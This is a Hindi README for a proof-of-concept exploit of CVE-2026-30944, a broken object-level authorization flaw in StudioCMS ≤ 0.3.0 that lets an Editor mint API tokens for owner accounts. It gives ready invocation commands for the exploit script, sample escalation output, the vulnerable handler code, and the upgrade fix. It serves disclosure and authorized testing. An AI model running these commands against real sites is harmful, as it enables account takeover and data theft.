🔓 CVE-2026-30944

StudioCMS में असुरक्षित API टोकन जनरेशन के माध्यम से विशेषाधिकार वृद्धि

अवलोकन

StudioCMS ≤ 0.3.0 में POST /studiocms_api/dashboard/api-tokens एंडपॉइंट किसी भी प्रमाणित उपयोगकर्ता (न्यूनतम Editor भूमिका) को किसी भी अन्य उपयोगकर्ता के लिए API टोकन जनरेट करने की अनुमति देता है, जिसमें owner और admin खाते शामिल हैं।

एंडपॉइंट अनुरोध बॉडी में लक्ष्य उपयोगकर्ता UUID निर्दिष्ट करने वाला एक user पैरामीटर स्वीकार करता है, लेकिन कभी सत्यापित नहीं करता कि अनुरोध करने वाला उपयोगकर्ता उस लक्ष्य की ओर से टोकन बनाने के लिए अधिकृत है या नहीं। यह एक क्लासिक Broken Object Level Authorization (BOLA) भेद्यता है जिसके परिणामस्वरूप पूर्ण विशेषाधिकार वृद्धि होती है।

हमले का प्रवाह

┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Attacker   │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Server     │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Full user data as Owner]         │
       │                                           │

भेद्यता विवरण

सामग्री

फ़ाइल	विवरण
`cve_2026_30944_poc.py`	मैनुअल और स्वचालित मोड के साथ Python शोषण स्क्रिप्ट
`README.md`	यह फ़ाइल
`LICENSE`	MIT लाइसेंस

पूर्वापेक्षाएँ

StudioCMS ≤ 0.3.0 (भेद्य संस्करण)
Python 3.8+
कम से कम एक Editor खाते के लिए मान्य क्रेडेंशियल

pip install requests colorama

त्वरित प्रारंभ

मैनुअल शोषण

# संपादक खाते का उपयोग करके मालिक के लिए API टोकन जनरेट करें
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# परिणाम JSON में सहेजें
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

स्वचालित परीक्षण

# भेद्यता की पुष्टि के लिए कई भूमिकाओं के साथ परीक्षण करें
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

तर्क

आवश्यक

तर्क	विवरण
`-u, --url`	लक्ष्य StudioCMS आधार URL
`--uuid`	लक्ष्य उपयोगकर्ता UUID (जैसे, मालिक खाता)

मैनुअल मोड

तर्क	विवरण
`--username`	प्रमाणीकरण के लिए उपयोगकर्ता नाम
`--password`	प्रमाणीकरण के लिए पासवर्ड

स्वचालित परीक्षण मोड

वैकल्पिक

तर्क	विवरण
`--save`	परिणाम JSON फ़ाइल में सहेजें
`--no-ssl-verify`	SSL प्रमाणपत्र सत्यापन अक्षम करें

उदाहरण आउटपुट

भेद्य सिस्टम

  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] Authenticated as 'editor01'
  [*] Session user: editor01 (editor)
  [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [+] API token generated successfully!
  [!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3: Verification
  ──────────────────────────────────────────────────────────
  [*] Verifying token access on REST API...
  [+] VULNERABILITY CONFIRMED — Full API access achieved!
  [*] Retrieved 9 user records

पैच किया गया सिस्टम

  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [*] Access denied (403 Forbidden) — endpoint may be patched
  [-] Exploitation failed — token not generated

मूल कारण

packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (पंक्तियाँ 16–57) पर भेद्य हैंडलर JSON बॉडी से एक user पैरामीटर स्वीकार करता है और इसे प्राधिकरण जांच के बिना सीधे टोकन जनरेशन फ़ंक्शन में पास करता है:

// [1] केवल जाँचता है कि कॉलर संपादक है या नहीं — वे किसके लिए टोकन बना रहे हैं, यह नहीं
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] अनुरोध बॉडी से 'user' — प्रमाणित सत्र के विरुद्ध कोई सत्यापन नहीं
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] सीधे टोकन जनरेशन में पास — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

प्राधिकरण मॉडल केवल "क्या कॉलर कम से कम एक संपादक है?" सत्यापित करता है, बजाय "क्या कॉलर इस विशिष्ट उपयोगकर्ता के लिए टोकन बनाने के लिए अधिकृत है?"

प्रभाव

विशेषाधिकार वृद्धि — कोई भी संपादक मालिक-स्तर के API एक्सेस तक बढ़ सकता है
पूर्ण API एक्सेस — जनरेट किया गया टोकन सभी REST एंडपॉइंट्स तक अप्रतिबंधित पहुंच प्रदान करता है
खाता अधिग्रहण — हमलावर अपना UUID निर्दिष्ट करके किसी भी उपयोगकर्ता की नकल कर सकता है
डेटा उल्लंघन — उपयोगकर्ता सूचियों, सामग्री और सिस्टम कॉन्फ़िगरेशन तक पहुंच

शमन

StudioCMS को संस्करण 0.4.0 या बाद में अपडेट करें:

npm install studiocms@latest

कानूनी अस्वीकरण

यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।

केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है
कंप्यूटर सिस्टम तक अनधिकृत पहुंच अधिकांश क्षेत्राधिकारों में अवैध है
लेखक इस टूल के दुरुपयोग के लिए कोई दायित्व नहीं मानता है
हमेशा जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें

संदर्भ

CVE: CVE-2026-30944
Advisory: GHSA-667w-mmh7-mrr4
CWE: CWE-639 — उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बाईपास
OWASP: API1:2023 — Broken Object Level Authorization
MITRE ATT&CK: T1134 — एक्सेस टोकन हेरफेर

लेखक

Filipe Gaudard

लाइसेंस

यह PoC शैक्षिक उद्देश्यों के लिए MIT लाइसेंस के तहत जारी किया गया है। जिम्मेदारी और नैतिकता से उपयोग करें।

CVE	CVE-2026-30944
GHSA	GHSA-667w-mmh7-mrr4
CVSS v3.1	8.8 (उच्च) — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
CWE	CWE-639: उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बाईपास
CWE (द्वितीयक)	CWE-863: गलत प्राधिकरण
MITRE ATT&CK	T1134 — एक्सेस टोकन हेरफेर
OWASP API	API1:2023 — Broken Object Level Authorization
प्रभावित	`studiocms ≤ 0.3.0`
समाधान	`studiocms 0.4.0`

`--auto-test`	स्वचालित बहु-भूमिका परीक्षण सक्षम करें
`--editor-user`	संपादक खाता उपयोगकर्ता नाम
`--editor-pass`	संपादक खाता पासवर्ड
`--visitor-user`	आगंतुक खाता उपयोगकर्ता नाम
`--visitor-pass`	आगंतुक खाता पासवर्ड

सबसे लोकप्रिय

CVE-2026-30944-PoC